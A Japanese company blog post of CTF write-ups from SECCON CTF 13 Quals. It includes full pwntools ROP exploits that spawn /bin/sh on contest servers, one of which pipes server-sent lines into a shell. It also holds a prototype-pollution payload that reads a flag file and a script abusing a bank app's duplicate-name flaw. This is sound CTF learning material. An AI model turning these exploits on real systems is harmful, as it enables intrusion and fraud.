スプーキーズのちょっとTech。

SPOOKIES社内のより技工的な、専門的なブログページです。

SECCON CTF 13 Quals参加記

こんにちは。CTF部部長のzeosuttです。

弊社のCTFチームspookiesは、2024/11/23-24に開催されたSECCON CTF 13 Qualsに参加しました。
結果は全体47位、国内15位でした。

以下、各メンバーの参加記まとめです。

zeosutt

writeup

[reversing] packed (119 solves)

UPXでpackされたバイナリです。

みーさんの解析により、unpack後のバイナリにはおそらくフラグがないことが分かったため、元のバイナリを見ることにしました。

GDBで起動し、フラグの入力待ちになったタイミングで止め、付近のコードを確認すると以下の通りです。

(gdb) r
Starting program: /tmp/SECCON/packed/a.out
FLAG: ^C
Program received signal SIGINT, Interrupt.
0x000000000044ee1f in ?? ()
(gdb) x/18i $rip-0x10
   0x44ee0f:    push   %rsp
   0x44ee10:    pop    %rsi
   0x44ee11:    mov    $0x80,%edx
   0x44ee16:    sub    %rdx,%rsi
   0x44ee19:    xor    %edi,%edi
   0x44ee1b:    xor    %eax,%eax
   0x44ee1d:    syscall
=> 0x44ee1f:    cmp    $0x31,%eax
   0x44ee22:    jne    0x44eec3
   0x44ee28:    mov    %eax,%ecx
   0x44ee2a:    pop    %rdx
   0x44ee2b:    pop    %rsi
   0x44ee2c:    lea    -0x90(%rsp),%rdi
   0x44ee34:    lods   %ds:(%rsi),%al
   0x44ee35:    xor    %al,(%rdi)
   0x44ee37:    inc    %rdi
   0x44ee3a:    loopne 0x44ee34
   0x44ee3c:    call   0x44ee72

スタックに入力を読み込んだ後、読み込んだバイト数が 0x31 であれば、入力と謎のバイト列Aをxorし、 0x44ee72 をcallしています。

0x44ee72 は以下の通りです。

(gdb) x/11i 0x44ee72
   0x44ee72:    mov    $0x31,%ecx
   0x44ee77:    pop    %rsi
   0x44ee78:    lea    -0x90(%rsp),%rdi
   0x44ee80:    xor    %edx,%edx
   0x44ee82:    lods   %ds:(%rsi),%al
   0x44ee83:    cmp    %al,(%rdi)
   0x44ee85:    setne  %al
   0x44ee88:    or     %al,%dl
   0x44ee8a:    inc    %rdi
   0x44ee8d:    loopne 0x44ee82
   0x44ee8f:    test   %edx,%edx

先ほどの処理を考慮すると、「入力と謎のバイト列Aをxorしたものが、謎のバイト列Bと等しいか」を確認しています。
等しいときの入力がフラグだろうと推測できますね。

バイト列Aは、例えば 0x44ee2c 時点でrsiが指す先を表示すれば得られます。

(gdb) b *0x44ee2c
Breakpoint 1 at 0x44ee2c
(gdb) c
Continuing.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Breakpoint 1, 0x000000000044ee2c in ?? ()
(gdb) x/49xb $rsi
0x7ffff7ff7f14: 0xe8    0x4a    0x00    0x00    0x00    0x83    0xf9    0x49
0x7ffff7ff7f1c: 0x75    0x44    0x53    0x57    0x48    0x8d    0x4c    0x37
0x7ffff7ff7f24: 0xfd    0x5e    0x56    0x5b    0xeb    0x2f    0x48    0x39
0x7ffff7ff7f2c: 0xce    0x73    0x32    0x56    0x5e    0xac    0x3c    0x80
0x7ffff7ff7f34: 0x72    0x0a    0x3c    0x8f    0x77    0x06    0x80    0x7e
0x7ffff7ff7f3c: 0xfe    0x0f    0x74    0x06    0x2c    0xe8    0x3c    0x01
0x7ffff7ff7f44: 0x77

バイト列Bも同様に取り出せば、あとはxorして終わりです。

from pwn import *

key = b'\xe8\x4a\x00\x00\x00\x83\xf9\x49\x75\x44\x53\x57\x48\x8d\x4c\x37\xfd\x5e\x56\x5b\xeb\x2f\x48\x39\xce\x73\x32\x56\x5e\xac\x3c\x80\x72\x0a\x3c\x8f\x77\x06\x80\x7e\xfe\x0f\x74\x06\x2c\xe8\x3c\x01\x77'
ct = b'\xbb\x0f\x43\x43\x4f\xcd\x82\x1c\x25\x1c\x0c\x24\x7f\xf8\x2e\x68\xcc\x2d\x09\x3a\xb4\x48\x78\x56\xaa\x2c\x42\x3a\x6a\xcf\x0f\xdf\x14\x3a\x4e\xd0\x1f\x37\xe4\x17\x90\x39\x2b\x65\x1c\x8c\x0f\x7c\x7d'

print(xor(key, ct))

SECCON{UPX_s7ub_1s_a_g0od_pl4c3_f0r_h1din6_c0d3}

loop(今回はloopneでしたが)、SECCON 2018決勝のアセンブリコードゴルフで知って以来、初めて見た気がします。
気付いていなかっただけかもしれませんが。

[pwnable] Paragraph (61 solves)

ソースコードは以下の通りです。シンプル。

#include <stdio.h>

int main() {
  char name[24];
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);

  printf("\"What is your name?\", the black cat asked.\n");
  scanf("%23s", name);
  printf(name);
  printf(" answered, a bit confused.\n\"Welcome to SECCON,\" the cat greeted %s warmly.\n", name);

  return 0;
}

FSBがあるものの、23バイトの入力制限があるため、2バイト書く程度しかできません。
さすがにこれだけでは「リークしつつ main() を再実行」のようなことは不可能です。

checksecの結果は以下の通りです。

$ checksec --file=chall 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH  Symbols     FORTIFY Fortified   Fortifiable FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   68 Symbols    No    0       1       chall

Partial RELROかつNo PIEなので、上記FSBでGOT overwriteが可能です。
ちょうど、FSBがある printf() の直後の printf() が、「 printf@got を scanf に書き換えてくれ」と訴えていますね。

前述の通り2バイトしか書き換えられませんが、幸い、今回のlibcにおける printf のオフセットと scanf のオフセットは、下位2バイトを除いて同じです。

$ nm -D libc.so.6 | grep -E ' (printf|scanf)\b'
00000000000600f0 T printf@@GLIBC_2.2.5
0000000000066290 T scanf@@GLIBC_2.2.5

そのため、1/16の確率で printf@got を scanf に書き換えることができます。
No canary foundも踏まえると、これで自由にROPできるようになりました。

次はどうやってrdiを制御するかですが、ありがたいことに問題バイナリはglibc 2.31の環境でビルドされているため、 __libc_csu_init() が存在します。

あとはやるだけです。

from pwn import *

context.arch = 'amd64'

target = ELF('chall')
POP_RDI = next(target.search(asm('pop rdi; ret'), executable=True))
RET = next(target.search(asm('ret'), executable=True))

libc = ELF('libc.so.6')
BIN_SH = next(libc.search(b'/bin/sh'))

while True:
    try:
        # with target.process() as r:
        with remote('paragraph.seccon.games', 5000) as r:
            payload = b''
            payload += f'%{libc.symbols['scanf'] & 0xffff}c%8$hn'.encode()
            payload += b'A' * (0x10 - len(payload))
            payload += p64(target.got['printf'])[:7]
            assert len(payload) == 23
            r.sendafter(b'the black cat asked.\n', payload)

            payload = b''
            payload += b'answered, a bit confused. "Welcome to SECCON," the cat greeted '
            payload += b'A' * 0x28
            payload += p64(POP_RDI) + p64(target.got['puts'])
            payload += p64(target.plt['puts'])
            payload += p64(target.symbols['main'])
            payload += b'warmly. hoge'
            r.sendlineafter(p64(target.got['printf'])[:3], payload)

            LIBC_BASE = u64(r.recv(6).ljust(8, b'\x00')) - libc.symbols['puts']
            r.recvuntil(b'the black cat asked.\n')
            print(hex(LIBC_BASE))

            payload = b''
            payload += b'answered, a bit confused. "Welcome to SECCON," the cat greeted '
            payload += b'A' * 0x28
            payload += p64(POP_RDI) + p64(LIBC_BASE + BIN_SH)
            payload += p64(RET)
            payload += p64(LIBC_BASE + libc.symbols['system'])
            payload += b'warmly. hoge'
            r.sendline(payload)

            r.interactive()
            break
    except EOFError:
        pass

SECCON{The_cat_seemed_surprised_when_you_showed_this_flag.}

ビルド環境と実行環境を別にするという発想がなかったので、「glibc 2.39なのに __libc_csu_init() がある!?」とかなり驚きました。

[pwnable] Make ROP Great Again (37 solves)

ソースコードは以下の通りです。非常にシンプル。

int main(void){
    char buf[0x10];

    show_prompt();
    gets(buf);

    return 0;
}

void show_prompt(void){
    puts(">");
}

また、checksecの結果は以下の通りです。

$ checksec --file=chall
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH  Symbols     FORTIFY Fortified   Fortifiable FILE
Full RELRO      No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   40 Symbols    No    0       1       chall

去年の rop-2.35 と似ていますが、今回は system() の代わりに puts() が呼ばれています。
つまり、libcのアドレスをリークしろということですね。

rdiが自由に制御できれば即終了ですが、先ほどの Paragraph とは異なり普通にglibc 2.39の環境でビルドされているため、とても自由に制御できるとは思えません。
そんなわけで、いい感じのROPガジェットを探します。

まず、 mov edi, 0x404010; jmp rax のガジェットに着目します。
0x404010 は &stdout なので、raxを puts@plt にしてからこれを利用すれば、libcのアドレスをリークできます。

raxを一発で任意の値にできるガジェットはありませんが、 add eax, 0x2ecb; add [rbp-0x3d], ebx; nop; ret のガジェットを利用すれば、一度に 0x2ecb ずつ加算していくことができます。
あとは、raxに puts@plt % 0x2ecb を代入(または加算)できればOKです。

rop-2.35 では、 gets() から返った直後のrdiに &_IO_stdfile_0_lock が入っていることを利用しましたが、これはglibc 2.39でも同様です。
したがって、 gets() -> gets() -> puts() と連続で呼ぶことで、小さい値であればraxを任意に制御できます。

以上でlibcのアドレスのリークまではできますが、 gets() -> gets() で愚直に _IO_stdfile_0_lock を書き換えていた場合、リーク後の gets() でロックを取得しようと永遠に待ち続けてしまいます。
そのため、 add dil, dil; loopne 0x401155; nop; ret ( 0x401155 は inc esi; add eax, 0x2ecb; add [rbp-0x3d], ebx; nop; ret )のガジェットにより、書き込み先をずらす必要があります。

あとはやるだけです。

import subprocess
from pwn import *

context.arch = 'amd64'

target = ELF('chall')
ADD_DIL_DIL = 0x4010ea
ADD_EAX_2ECB = next(target.search(asm('add eax, 0x2ecb; add [rbp-0x3d], ebx; nop; ret'), executable=True))
MOV_EDI_STDOUT_JMP_RAX = next(target.search(asm('mov edi, 0x404010; jmp rax'), executable=True))
RET = next(target.search(asm('ret'), executable=True))

# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('libc.so.6')
POP_RDI = next(libc.search(asm('pop rdi; ret'), executable=True))
BIN_SH = next(libc.search(b'/bin/sh'))

while True:
    try:
        # with target.process() as r:
        # with remote('localhost', 7428) as r:
        with remote('mrga.seccon.games', 7428) as r:
            r.recvline()
            r.send(subprocess.run(r.recvline(), shell=True, capture_output=True).stdout)

            payload = b''
            payload += b'A' * 0x10
            payload += p64(target.bss(0x100))
            payload += p64(ADD_DIL_DIL)
            payload += p64(target.plt['gets'])
            payload += p64(ADD_DIL_DIL)
            payload += p64(target.plt['puts'])
            payload += p64(ADD_EAX_2ECB) * (target.plt['puts'] // 0x2ecb)
            payload += p64(MOV_EDI_STDOUT_JMP_RAX)
            payload += p64(target.symbols['main'])
            r.sendlineafter(b'>\n', payload)

            r.sendline(b'A' * (target.plt['puts'] % 0x2ecb - 1))

            r.recvline()
            LIBC_BASE = u64(r.recv(6).ljust(8, b'\x00')) - libc.symbols['_IO_2_1_stdout_']
            print(hex(LIBC_BASE))

            payload = b''
            payload += b'A' * 0x18
            payload += p64(LIBC_BASE + POP_RDI) + p64(LIBC_BASE + BIN_SH)
            payload += p64(RET)
            payload += p64(LIBC_BASE + libc.symbols['system'])
            r.sendlineafter(b'>\n', payload)

            r.interactive()
            break
    except EOFError:
        pass

SECCON{53771n6_rd1_w17h_6375_m4k35_r0p_6r347_4641n}

しんどいROPでしたが楽しかったです。ROPに無限の可能性を感じました。

[jail] pp4 (41 solves)

文字種数4以内のJSコードを実行してくれるサービスです。
実行前に、JSONで表現可能な範囲(配列を除く)で {} のプロトタイプを汚染させてくれます。

[].constructor.constructor(コード)() の形で任意コードを実行することを目指します。

まず、 [] を ToPropertyKey() すると "" になります。
そのため、 ({}).__proto__[""] を "constructor" にしておくと、 [][[]] で "constructor" 、 [][[][[]]][[][[]]] で [].constructor.constructor を作れます。

次に、 [].constructor.constructor()() は undefined であり、これを ToPropertyKey() すると "undefined" になります。
そのため、 ({}).__proto__["undefined"] を好きな文字列にしておくと、 [][[][[][[]]][[][[]]]()()] でその文字列を作れます。

以上より、 [][[][[]]][[][[]]]([][[][[][[]]][[][[]]]()()])() で任意コードを実行できます。

$ nc pp4.seccon.games 5000
Input JSON: {"__proto__": {"": "constructor", "undefined": "return process.mainModule.require('fs').readFileSync('/flag-1863aa693df962ff8433c6b227d63dc0.txt').toString()"}}
{}
Input code: [][[][[]]][[][[]]]([][[][[][[]]][[][[]]]()()])()
SECCON{prototype_po11ution_turns_JavaScript_into_a_puzzle_game}

SECCON{prototype_po11ution_turns_JavaScript_into_a_puzzle_game}

`` で関数を呼べば3種で行けるのではと思いましたが、 [][[][[][[]]][[][[]]]````] で作った文字列を [].constructor.constructor の引数にすることができませんでした。残念。

感想

ダメダメっすね...
去年は国内11位、しかも10位(予選通過ボーダー)とたったの3点差という非常に悔しい結果に終わった(その後奇跡的に予選通過)わけですが、今年は15位。惜しくもなんともない。
まだまだ精進が足りないようです。出直してきます。

結果は置いておくとして、今年もたくさんの良質な問題に取り組むことができ、とても楽しく幸せな時間を過ごせました。
運営、作問の皆様、ありがとうございました。

余談

去年の参加記 と今年の参加記のトップ画像を見比べると、あることに気付きます。
そう、全体順位がどちらも47/653なんです。初め、間違えて去年の画像を貼っちゃったのかと勘違いしました。
凄い偶然があるもんだなあ、と。

mi-san

ビギナーでないCTFには初参加、そして久しぶりのCTF参加と若干壁がありましたが、ひとまず参加!1問解くことすらできずでしたが学びのある時間を過ごせたと思います。
reversingのpackedに取り組みました。そのまま実行できなかったのでunpackしてみると実行ができるように。(どうやらunpackせずとも実行ができた? 自分の環境がMacだったので、仮想環境を先に立てておくべきだったと後々痛感...。)その後Ghidraを使ってアセンブリと睨めっこ。Ghidra自分で使うのは初めてだったので良い経験になりました。しかしなんとunpack後のコードを分析するのには意味がなく、unpack前のコードを分析するべきだったようです。苦戦していたらダルさんがサクッと解いてくれました(丁寧に解説してくれました感謝)。さすが我が部長...!

hiraoka

[web] Trillion Bank (84 solves)

  • TEXT型の最大長65535バイトを超えるnameで登録することで、同一nameのユーザーを作成することができる
  • ただし、サーバーサイドで使用しているユーザー名チェックにはjsのSetで保持されたものが使用されるところがある
    • こちらはもちろん、特に最大長の制限はない
  • 同一nameのユーザーから送金した場合、自身の口座からは残高が減らない
  • 同一nameとなるユーザーをたくさん作って、送金を行なっていくと、倍々で残高を増やしていくことが可能
import requests
import random
import string

def random_name(n):
   return ''.join(random.choices(string.ascii_lowercase + string.digits, k=n))

BASE_URL = "http://trillion.seccon.games:3000/"
# BASE_URL = "http://localhost:3000/"

# クライアント(受金側)のセッション
client = requests.Session()
client_db_name = random_name(65535)
client_name = client_db_name

# クライアント:登録
response = client.post(f"{BASE_URL}/api/register", json={"name": client_name})
if response.status_code == 200:
    print("Client 1 registered:", response.json())
else:
    print("Client 1 registration failed:", response.text)

evil_clients = []

amount = 10

# evilクライアント達の登録
# 37クライアントでの不正ブロードキャスト送金で1trillion達成
for i in range(37):
    evil_client = requests.Session()
    evil_client_name = client_db_name + f'evil{i}'
    response = evil_client.post(f"{BASE_URL}/api/register", json={"name": evil_client_name})
    if response.status_code == 200:
        print(f"Evil Client {i} registered:", response.json())
        evil_clients.append(evil_client)
    else:
        print(f"Evil Client {i} registration failed:", response.text)

for i, evil_client in enumerate(evil_clients):
    response = evil_client.post(f"{BASE_URL}/api/transfer", json={
        "recipientName": client_name,  # 送金先
        "amount": str(amount)          # 送金額
    })
    if response.status_code == 200:
        print(f"Transfer successful by evil{i}:", response.json())
    else:
        print(f"Transfer failed:", response.text)

    amount *= 2


# クライアント: フラグ確認
response = client.get(f"{BASE_URL}/api/me")
if response.status_code == 200:
    print("Client data:", response.json())
else:
    print("Failed to fetch client data:", response.text)

chururi

[rev] Jump (118pt, 69 Solves)

  • Ghidra でデコンパイルするとフラグの検証コードが出てくる
    • フラグを 4 文字ずつに区切ってその塊で検証をしているっぽい
  • 前半 4 ブロックと後半 4 ブロックとで検証アルゴリズムが異なり、1 ブロックに 1 つ検証関数が存在している
  • 前半は単純比較
    • 例えば次のようなコード:param_1 は入力文字列の 1 ブロック分の文字
    • image.png (35.4 kB)
    • シンプルに 0x336b3468 ã‚’ ASCII に変換することで 3k4h という文字列が得られる
    • リトルエンディアンなので、逆にして h4k3
    • 残りの 3 つの関数にも同じ作業を適用することで _1t_ ON{5 SECC が得られる
    • これらのブロックをよしなに組み替えて(本当はデコンパイル結果から組み換え方法がわかるはずだが不明だった)SECCON{5hake_1t_ まで分かる
  • 後半の検証は少しひねる
    • 例えば次のよう
    • image.png (49.5 kB)
    • param_1 は入力文字列全体、DAT_00412038 はオフセットを指しているっぽい
    • int * にキャストすることで入力文字列から 4 バイト分、すなわち 4 文字を切り出していると見る
    • 更に -4 でオフセットを 4 つ前にずらしていることから、1 つ前のブロックを参照していることに気がつく
    • このことから n 番目と n - 1 番目のブロックの和を取って検証していると分かる
    • 前述のようにどの順番でブロックを検証しているかが分からなかったので、まず 4 つの検証関数の == 演算子の右辺の数値と前半の 4 番目のブロックの数値との差をそれぞれ取り、その数値が ASCII 的に妥当になったものを 5 番目のブロックの検証関数とみなす
      • 左辺は和を取っているのにもかかわらず右辺の数値が - になっているのはオーバーフローしているから
    • 6 番目からは後半ブロック内で頑張って計算していく
    • この作業で hk3} up_5 -5h5 h-5h が得られ、例によってよしなに組み替えて up_5h-5h-5h5hk3} が得られる
  • 前半の文字列と結合して SECCON{5h4k3_1t_up_5h-5h-5h5hk3} が得られた

感想

1 年ぶり 2 回目の SECCON 予選参加となりました。残念ながら、今年はあまりいい結果を得られたとは言いづらいですが、それでも今年は 1 問解くことができ成長が見られました(昨年は 1 問も解けずでした...)。その一方、普段 Web の開発をしているのにも関わらず Web 問を解けなかったのには一抹の悔しさが残っています。CTF は技術の楽しさを最大限に引き出してくれるものなので、来年に向けても楽しみながら腕を磨いていきたいと思います。

nishizuka

毎回ちょっとだけ参加して、全然解けずに反省して、奮起を誓うことを繰り返している西塚です。

メンバーが優秀になってきているのもあって、それに甘えて日々の練習ができていません。

とはいえ、なんか色々と忙しいのです。

英語と同じく、コツコツが大事なので、やります。ハイ。